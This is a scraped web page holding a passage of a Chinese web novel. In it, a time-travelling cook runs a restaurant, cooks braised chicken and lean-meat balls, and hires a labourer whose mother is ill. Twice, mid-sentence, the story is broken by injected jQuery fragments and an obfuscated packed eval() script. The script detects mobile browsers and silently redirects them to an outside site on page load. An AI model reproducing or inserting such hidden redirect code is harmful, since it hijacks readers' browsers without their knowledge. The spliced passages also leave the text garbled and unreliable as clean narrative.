$(''.inform'').remove(); $(''#content'').append('' >“你啊你，”季先生摇摇头，“既然承了我的名，那你可得给我做一桌子好菜，做得不好我可不依。” “好嘞，小的遵命。”叶扶秋耍宝似的行了个礼，溜了。 回到厨房，叶父满头油烟，忙得不可开交，叶母也不时进来帮帮他忙，一刻也停不下来。 见着叶扶秋，叶父抱怨道：“你可算过来了，我一个人怎忙得过来。” “我也实在没想到会有这么多人。”外头客人一波接一波源源不断的来，连叶扶秋自己都没想到，自家饭馆拢共就大堂十八张桌子外加包厢两张，今天店外头又临时加了四桌，就这样都不够坐的，等位区的客人排了一排，粗略数过去，怕是有上百号人。 就这还是叶扶秋见势不对，叫停了外头的队伍，不如还有客人想排呢。 她给叶父打着气：“爹再坚持坚持，回头咱们再招些人手。” 叶父还能怎么办？只能撸起袖子加油干，任劳任怨继续炒菜，还好叶扶秋深谙现代后厨的备菜模式，各类所需食材全都清洗干净，鸡鸭处理干净切成块，蔬菜也洗净切段，更别说葱姜蒜这些常用的辅料，分门别类提前备好，做菜时便省了大半功夫。 季先生没说要吃什么，只让叶扶秋看着办，她在后厨转了一圈，准备先做道黄焖鸡送去。 取了盘提前斩好的小嫩鸡，叶扶秋剥下几块鸡油，这批食材买的极好，嫩黄的鸡油十分软弹，小火下到锅里煸香，锅里很快就熬出一层清亮的油脂。 把油渣捞出，叶扶秋又撒进去一勺冰糖准备炒糖色，小火熬到糖块融化，渐渐变成喜人的枣红色，她弯腰用火筷子调整了灶下熊熊烧着的柴火，一见火候变大，便赶紧下进一旁的鸡块翻炒——但凡晚上一时半刻，锅底的糖就要糊了，那股子焦苦的味道，闻过一次就再也不想见着。 古代糖价高昂，叶扶秋可不舍得浪费。 红艳的火舌舔过锅底，铁锅里立刻噼里啪啦炸响起来，嫩黄的鸡皮在炉火作用下迅速收紧，白生生的鸡肉也裹上了棕红的酱色。 叶扶秋加了些豆瓣酱和酱油，用来代替现代的黄焖酱料，蒜瓣、姜片也一块丢进锅里翻炒，浓浓的鸡肉香味便喷涌而出，顺着蒸腾的白烟一起扑了人满脸。 趁着火势正大，沿着锅边迅速淋上一圈黄酒，酒精蒸发时一并带走了鸡肉的腥气，再取碗泡发香菇的水，和着热水一并倒进锅里，水面刚好盖过鸡肉，一会功夫，咕噜咕噜，锅里便沸腾了起来。 尝了尝汤汁的味道，有些淡了，叶扶秋加了勺盐，再尝尝，嗯，可以了。现在的汤汁其实还有些偏淡，然而等到汤汁收浓便会正好了。 叶扶秋自小有只“金舌头”，中餐菜谱的“少许”、“适量”对她来说根本不是问题，她总能找到那个恰好的尺度，不过偶尔也会有小小翻车的时候。 “差点忘了放香菇。” 匆忙取了些泡好的香菇丢进去，瞧见火势过旺，叶扶秋又蹲下去调整起灶火，接下来可是要加盖焖煮两炷香时间的，火这么大可不行。 鸡肉的香气沿着锅边一点点升起，叶扶秋摸了摸肚子，开始期待起开锅后的美味。 28. 黄焖鸡 两炷香时间过去，鸡肉渐渐变得软烂，叶扶秋掀开锅盖，鲜味伴随着大股的白烟一起扑出来，简直把人香了个跟头。 可惜土豆还没传入这个时代，叶扶秋感觉黄焖鸡里像是少了灵魂，又绵又密的土豆啊，真令人想念。 无奈，只好加些笋片来安慰自己，都是一样的一样的。 辣椒也没有，茱萸差点意思，只能算聊胜于无，叶扶秋悻悻撒了些茱萸粉进去，作为黄焖鸡里的辣味来源，茱萸辛辣微苦，不能放得太多。 大火收汁，铁锅里不断冒出硕大的气泡，很快，汤汁变得浓稠，舀一勺汤再翻转调羹，滴滴答答微微粘稠的汤汁重新落进锅里，火候到了！ 出锅迅速倒进温热的砂锅里，酱红油亮的鸡块、棕褐色的香菇、白嫩嫩的笋片，统统被琥珀色的浓稠汤汁包裹，色彩分明，诱人极了。 满满一盆黄焖鸡端上桌的时候，仍在咕嘟嘟微微沸腾着，热气蒸腾，醇厚的酱香散了满屋子。 季先生嗅着香气望过来：“真香啊。” “先生久等啦，这是叶记秘制的黄焖鸡哦。” 叶扶秋献宝一样，刚放下砂锅，叶父就又端着两盘子菜进来了：“丫头不懂事，慢待季先生了，我又做了两道，你们先吃着，粗茶淡饭还请莫要怪罪。” 季先生摆摆手：“哪里话，是我打扰了，有这些就够了。” 季光源老脸微红，光想着来捧场，却不料今日店里如此爆满，反倒像来添乱来了。 叶扶秋笑道：“哪有打扰，先生大驾光临，我们高兴还来不及呢。” “不和你客套了，老夫可要开动了。” 他迫不及待伸手夹了一筷子鸡肉，赞道：“色香味俱全，甚好。” 那香浓的气味直往他鼻腔里钻，赶紧咬一口鸡肉，结果被烫得呼呼直冒烟，他赶紧伸手在嘴边扇了扇。 虽被烫到，可那嫩滑软韧的口感一瞬间就击中了他的头脑，让他忍不住吃完一块又夹了一块，鲜香浓郁，热辣微辛，那股独特的辛麻味道存在感极强，占据了他的每一颗味蕾。 作为配菜的香菇和笋片也毫不逊色，香菇肉厚多汁，笋片脆嫩鲜美，既融合了鸡肉的鲜香，又独有各自的口感，种种滋味复合在一起，简直把人鲜掉了眉毛。 季光源吃得面色发红，滚烫辛香的鸡肉下肚，浑身胃肠都暖了起来，一抬头却见到叶扶秋正低头光顾着扒饭。 他顿时不好意思起来：“叶丫头吃肉啊，老夫一人也吃不了这么多。” 叶扶秋抬头，知道他是误会了，赶紧道：“我吃啦！只是这汤汁拌饭的味道也绝佳，先生可以试试。” 叶扶秋当年读书时，大学城里有家黄焖鸡店味道特别好，食材新鲜，物美价廉，喷香的鸡肉配上下饭的汤汁，那股味道让她一直记到了毕业。 后来成了美食博主，也没少在家复刻这道学生时代常吃的美食，如今在这陌生的时代里再做，相似却不同的味道勾起了她几分唏嘘以及……怨念。 还我土豆和辣椒来！ 叶扶秋无比怀念起物质丰富的现代，顿时感觉眼前的黄焖鸡都不香——算了，其实还是很香。 许是这乡野长大的小鸡无公害纯天然，纵然少了些现代人的工业化调料，做出来的黄焖鸡也半点不输现代。咬一口嫩滑的鸡块，再啊呜一大口浸透汤汁的米饭，真是香的舌头都要吞下去。 季先生听着叶扶秋的建议，学着她舀了一大勺汤浇在饭上，轻轻搅拌，饱满的白米粒便被染成褐色，送进嘴里瞬间理解了叶扶秋的话。 浓郁的酱汁实在太下饭了，咀嚼几下，美得感觉魂灵都要和米饭一起融化了，狼吞虎咽把饭吞下去，又急匆匆赶着去舀下一勺饭，配上鸡肉香菇和笋片，季先生觉得自己还能再吃三碗！ 事实上他也真吃了三碗，到最后捂着浑圆的肚皮，对叶扶秋苦笑：“你这黄焖鸡做的忒香，老夫不知多少年没吃过这么多饭了。” 叶扶秋哼哼直笑，得意道：“叶记出品，包您满意。” 说完却又忍不住幻想：“要是有土豆和辣椒就好了，那才是黄焖鸡的绝配。又粉又糯土豆，再配上青红辣椒，鲜香热辣好好食……” 见她仿佛馋得要流口水，季先生忍不住问：“土豆和辣椒为何物，真有你说的那么好？” “那是番邦蔬菜，好种又高产，土豆有点儿类似番薯，既美味又顶饱，据说亩产能达数百斤；至于辣椒，和茱萸味道有些相似，只是味道更辣更自然。” “你从何得知？” “从前一位游商与我说的，他说出海时偶然见过，有土著种来食用。”叶扶秋一本正经的编。 “他可有说此物出自何方？”季先生连连追问，辣椒便罢了，这土豆若当真如此高产，即便味道差些，也能多养活无数百姓。 “据他说土豆产自外海，吕宋一带也有见此物。” 叶扶秋捡着记忆中土豆的传入历史说了说。吕宋也就是菲律宾，历史上西班牙人将土豆带到菲律宾，再经由海上丝绸之路传入中国，与其派人出海去遥远的西方，倒不如直接在东南沿海寻找，兴许就有哪位海商见过。 “好，我知道了。” 季先生沉吟，心中或许有了成算，至于如何行动，这就不是叶扶秋所再能影响的了，她只能期望着有一天，季先生忽然派人给她送来一筐土豆和辣椒。 嗯，退一步有种子也行。 …… 掌灯时分，忙活了一整天的叶记终于打烊。 今天生意火爆得超出预计，戌时刚到，后厨的食材就已经告罄，叶记只能提前送客，婉拒了后面来迟的客人。 叶扶秋除却上午饭馆刚开那会，大半时间都在后厨掌勺，叶父也在后厨待了一天，累得直不起腰，看到面色如常的叶扶秋，忍不住感慨：“还是你们年轻人身体好啊。” 叶扶秋耸耸肩：“赚钱哪有不累的，爹习惯就好。” 心里却盘算了起来，按照现在的工作量，光靠自家几人恐怕坚持不了几天，得想办法多雇些人手才行。 跑堂小二倒是好找，账房也有顾宴苏能兼任，最麻烦的反而是厨子。 饭馆想留回头客，菜品口味当属第一重要，光靠她和叶父，根本忙不过来，可上哪儿去找一个手艺过关又肯吃苦耐劳的好厨子呢？ 这种人才可是稀缺资源，几乎不在市场上流通的，叶扶秋犯了难，只是眼下也没旁的办法，只能贴张招工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197305|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告示试试，回头再找牙行问问，有没有合适的人才…… 叶父腰酸的不行先回了后院，留她一个人在这收拾后厨，她慢慢思索着，手上也没停。 喧闹了一天的饭馆终于归于沉寂，暮色四合，她也落了个安静。 推开门帘，正要把大堂也扫扫时，却看见顾宴苏在窗边坐着，手里端着本账册正细细地看，泠然月光透过窗棂的缝隙照在他高挺的鼻梁上，显出他刀削般的轮廓。 少年面前摇曳的烛火昏黄，明灭的光影在他脸上浮动。 听见声音，顾宴苏抬头，神色淡淡道：“叶记今日营收约有二十贯铜钱。” “这么多？” 叶扶秋丢下扫帚，小跑到桌前，撑在他面前凑近惊喜道：“真的？！” 那可是二十两银子啊，这才第一天！ 距离太近，顾宴苏脸色微变，身体向后靠了靠，不自觉微微偏头：“你不要高兴的太早，这只是收入并非纯利。” 他皱了皱眉：“你弄的那些优惠和等位区成本颇高，我粗粗算过，今日纯利不会超过一成。” 做餐饮，往往纯利要达到五成以上，才能算赚到钱。 叶扶秋的兴奋仅冷却了几秒，就很快又燃了起来：“一成就一成，这我早有预料，况且这才第一天呢，后面会好的！” “走走走，我们回家细说！” 她激动起来抓住顾宴苏手臂猛摇，少年被她晃得坐立不稳，玉白的面庞浮出一层红云，他低喝一声：“松开。” “哦不好意思。”叶扶秋反应过来，吐了吐舌头，“我太激动了。” 顾宴苏合上账本，离她远了一步，不自然道，“走吧。” 叶扶秋满心欢喜刚想出门，忽又惊呼一声：“等一下，我把地扫扫。” “不用，方才我都打扫过了。” 顾宴苏已走到门边，背对着她，叶扶秋看不见他的表情，只觉得这人身上一股子矛盾的味道。 “过几日你还要去府试，留在叶记帮忙，真的没关系吗？”叶扶秋忽然良心发现似的，“要不明天你还是别来饭馆了，去找季先生温书吧。” 顾宴苏回头催她，语气清淡：“不用，快走吧。” 叶扶秋撇撇嘴，这就是科举大佬的自信吗？学渣不懂，学渣加快脚步，学渣锁上大门和他一块往外走。 沉甸甸的夜色笼罩住街道，家家闭户，一片苍茫，顾宴苏手里提着灯，火光被风吹得呼呼直摆。 两人并排走着，刚离店不远，顾宴苏忽然停下了脚步，面露警惕：“谁？” 叶扶秋一愣，跟着停下，察觉到顾宴苏浑身肌肉都紧绷了起来，可四处望望，鬼影子都没有一个。 “没听见动静啊？” 顾宴苏没接话，目光死死盯着墙角：“出来！” 叶扶秋头皮发麻，周围是一片诡异的死寂，两人和墙角对峙着，良久，一抹黑影才走了出来。 顾宴苏把灯提高了些，那人的轮廓也逐渐清晰，那是个高高壮壮的男人，破衣烂衫，垂着头看不清表情。 叶扶秋心里打鼓，忍不住抓着顾宴苏袖子，定定瞧了那人半天，忽然“咦”了一声： “怎么是你？” 29. 瘦肉丸 是那个被客人告状，在等位区白吃白喝的莽汉。 叶扶秋皱起眉：“你在这里做什么？”黑灯瞎火的，多危险。 这莽汉人高马大，若是心怀歹意，她和顾宴苏两个少年人可就危险了，叶扶秋小心翼翼，生怕激怒他：“可是需要帮助？” 他一身破了洞的麻布衣裳，垂着头目光有些呆滞，接连几次好像试图抬头，却始终没能成功。 叶扶秋隐约从他身上读到一股虚张声势的味道。 好半晌，像是做足了心理斗争，那莽汉忽然向前走了一大步。 叶扶秋吓了一跳，不自觉哆嗦一下，揪紧顾宴苏衣袖，少年竟下意识伸手挡在她面前，但危险并未降临，那人只是扑通跪在了两人不远处。 “你这是做什么？” 叶扶秋仗着顾宴苏挡在前面，壮着胆子发问。 “俺、俺今天不是故意吃白食的，俺只是实在没办法了……” 石破天惊一句话，听得叶扶秋啼笑皆非，“就为了这？没事，不打紧，你快起来吧。” 他跪在地上，停顿片刻，嗓音沙哑又开了口：“还有，求你救救我娘，俺何兴愿意为你当牛做马，俺力气大，做啥都行！” “救你娘？”叶扶秋一愣，“你先起来，为什么想到找我求救？” 何兴没起身，仍跪着，甚至给叶扶秋叩了个头：“俺娘病了没钱医，听说叶家仁义，就想来谋个差使。你们这饭馆刚开张，肯定正是用人的时候，求东家给俺一条生路吧，救救俺娘！” “店里是缺人没错……”叶扶秋挠了挠头，“你何必大半夜蹲在这呢，多吓人啊。” 她松了口气，就听见何兴难以启齿一般断断续续说：“俺实在没招了，俺原来是做苦力的，工头嫌俺回家照顾俺娘，不用俺了。俺想了一天，不知道东家能不能让俺半天上工，半天回去照顾俺娘？” 碎碎念念说了半天，叶扶秋才听明白他是想打小时工，母亲离不开人照顾，可照顾了母亲就没钱买药，他听说叶记女东家好说话，就想着来堵她碰碰运气，结果一直等到夜里打烊，才终于碰见她。 何兴很不好意思，黝黑的面颊发烫，也觉得自己大晚上堵人家小姑娘的行为很不好，于是又哐哐哐给叶扶秋磕了三个响头。这人实诚得过头，叶扶秋听见脑袋实实在在磕到地上的声音，唬得她连连叫停：“好了好了快起来吧，再不起来我就不帮你了。” 何兴眼睛一亮：“东家愿意聘俺了？” 见着叶扶秋点头，他一溜烟从地上爬起来：“多谢东家！” 叶扶秋犹豫片刻，问他：“你母亲现在情况如何，带我们去看看吧。” 何兴还没说话，一直安静看着的顾宴苏却忽然开口：“不妥。” 何兴正要张开的嘴顿时缓缓合上，兴奋的神色变得沮丧，叶扶秋瞧着不忍，道：“没事，为给母亲治病而下跪的人能有多坏。” 顾宴苏眉心却皱得更紧：“如他这般的人我见得多了，卖卖可怜，就能让你这样的小姐心软，若他包藏了坏心，到时你后悔都来不及。” 叶扶秋觉得有些奇怪，顾宴苏才十五，哪来的“见得多了”，可他语气言之凿凿，又实在不像胡说。 想不通就放弃，叶扶秋承认他说得没错，但真让她坐视不理，又觉得良心难安，想了想，她问何兴：“你们现下住在何处，你母亲可还方便行动？ 何兴苦涩道：“我们是失了田地逃荒来的，没处去，现住在城东的破庙里，俺娘发了三天高热，怕是不好走动。” 高烧太久，人是要烧坏的。 叶扶秋蹙眉：“城东太远，这么晚我们过去不便，不若你把母亲背来，住到叶记后院去，你娘烧了这么些天，再不用药恐怕要危险了。” “好好好，俺这就去把俺娘背过来！” 男人大喜过望，几乎又要跪下去磕头，叶扶秋赶紧拦下，温和道：“快去吧，早一刻带你娘来，她就早一刻康复。” 何兴带着得救了般的表情离开了，叶扶秋也松了口气，转头却见顾宴苏欲言又止的表情，忍不住问：“怎么了？” 顾宴苏下意识遮掩，可顿了半天终于还是憋出一句：“你对所有人都这般好吗？” 叶扶秋失笑：“举手之劳罢了。” 她认真解释：“我觉着他不像坏人，况且叶记本就缺人手，多一个壮劳力，也没什么不好。” 顾宴苏没再否定，只道：“随你。” 何兴一来一回没这么快，叶扶秋便和顾宴苏一起绕回了后院，准备做些饭食。 辛苦了一天，叶扶秋早就饿了，中午趁着给季先生做黄焖鸡的机会，她自己也吃了不少，晚上就只想吃些清淡的食物，正好待会何兴和他母亲过来，给病人吃也正合适。 想了想，就做个瘦肉丸吧。 后厨食材所剩无几，所幸还有些高汤没用完，在大锅里一直熬着，到晚上也半点不减风味，反而变得更加浓郁，拿来做瘦肉丸的汤底正好。 现代小吃摊上的温州瘦肉丸，是叶扶秋学生时代的美好回忆，那时候和同学放学路过，总想来上一碗，和好友分着吃掉，还能有肚子再来些别的小食。 寒冷冬天里那碗热气腾腾的瘦肉丸，是她回忆里挥之不去的烟火气，想到这，叶扶秋更馋了。 她挑了块纯瘦的猪里脊，撕掉上面的筋膜，再切成随意的小块。农历三月天气凉爽，若是天再暖和些，就得把肉先放到冰水里降降温，否则捶打时温度过高，肉质升温变性，就失去了瘦肉丸那弹嫩的口感。 叶扶秋把碎肉丢进大石臼里，拿出木槌就开始捶打，嘿咻嘿咻，这可是个力气活！ 切好的肉块一点一点变成泥状，叶扶秋终于长出口气，甩甩酸痛的手臂，蹲下戳戳石臼里呈粉色状的肉泥。 嗯，粘粘的，质地很均匀，完美。 但这还不是结束，叶扶秋倒进些黄酒，又挤了姜汁，再加一点点盐。 接下来就是最累的步骤，叶扶秋沿着同一个方向，开始用力搅打，中途还要分次加进绿豆淀粉调的水淀粉浆，让肉泥一点点变得粘稠，这个过程漫长而费力，叶扶秋搅了十分钟，胳膊酸得不像样，顿时开始后悔为什么要折磨自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209044|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她决定出去抓个壮丁。 “咚咚咚。” 顾宴苏的房门被敲开，少年正在看书，被她生拉硬拽到厨房，叶扶秋笑眯眯把棍子塞他手里：“搅。” 顾宴苏冒了一头问号，但还是本能地按照她的吩咐动了起来：“再用点劲，对，按一个方向搅，就是这样。” 又过了两炷香，双臂酸痛的顾宴苏终于收到叶扶秋的停止信号，放下搅棍，就见叶扶秋弯腰抓起一大块肉茸，翻转手臂，肉茸黏在手上甩都甩不下来。 终于可以下锅啦。 被重新加热的高汤沸腾起来，叶扶秋把肉茸糊到刀背上，整整齐齐压成厚厚的平面，再用小勺将肉茸刮成一条一条，直接下进锅里。 瘦肉丸的形状不需要刻意弄齐整，锅里咕嘟嘟冒着热气，瘦肉丸熟透了便立刻浮上水面，捞出来再舀点高汤，撒上虾皮、紫菜和葱花，一碗瘦肉丸便新鲜出炉了。 “第一碗给你。”叶扶秋嘻嘻笑，“卖力气的奖赏。” 顾宴苏接过碗，轻哼一声，倒也没反驳什么，只有些期待地低头看向碗里。 清亮的高汤上泛着星星点点的油花，嫩粉色长短不一的条状肉丸沉在碗里，嫩绿的葱花和深紫色的紫菜点缀其中，隐约还看见半透明的黄色虾皮，色彩分明，十分诱人。 嗅一下汤底的味道，蒸腾的白烟带着鲜美的滋味直往人鼻腔里钻，温度滚烫，却叫人不舍得放下碗筷。 筷子夹出一根肉条，轻吹几下，迫不及待咬一口，嫩弹爽滑极为鲜美，那股子柔韧有劲的口感嚼一下简直把牙齿都弹开，再嚼几下又爽脆的裂开，没有一点儿塞牙的纤维感，只感觉猪肉的鲜美和虾皮紫菜那股海洋的鲜味完美融合，鲜得没有语言能用来形容。 顾宴苏吃完一口又一口，往日斯文的形象都难以维持，那股子冬日里的热意让他吃完浑身都暖了起来，面颊微红，冒了几颗汗珠。 一溜烟功夫，等叶扶秋把自己的那份也煮好，顾宴苏这碗竟已吃完大半，忍不住炫耀式的问他：“好吃吧？” 顾宴苏“呼”出口气，看看碗又看看她，感觉有些羞耻，自打重生后，他竟也重起口腹之欲来了，他抿了抿唇，闷声老实回答：“好吃。” “好吃就对了，‘一粥一饭，当思来之不易’，自己参与下厨做出来的是不是更好吃了？”叶扶秋当然不觉得他这样有问题，大大咧咧说，还问，“还要再来点吗？管够！” 顾宴苏看看碗又看看她，心里斗争了半天，最后心一横眼一闭，英勇就义似的把碗一伸：“要。” 叶扶秋觉得他这样有意思极了，虽然不知道这人到底在纠结什么，可美食当前，哪用得着犹豫？ “好咧。”于是她笑嘻嘻又下了些肉丸，小厨房里烟火冉冉，暖融融的白烟充斥了满屋子。 一顿简单的晚饭终于吃完，叶扶秋使唤着顾宴苏洗了碗筷，又将剩下的肉丸码好，等会何兴和她娘来了，就能很快吃上。 摆摆弄弄一切都收拾好了，估摸着时间差不多时，小六终于掀开了门帘：“秋秋姐，何大叔来了。”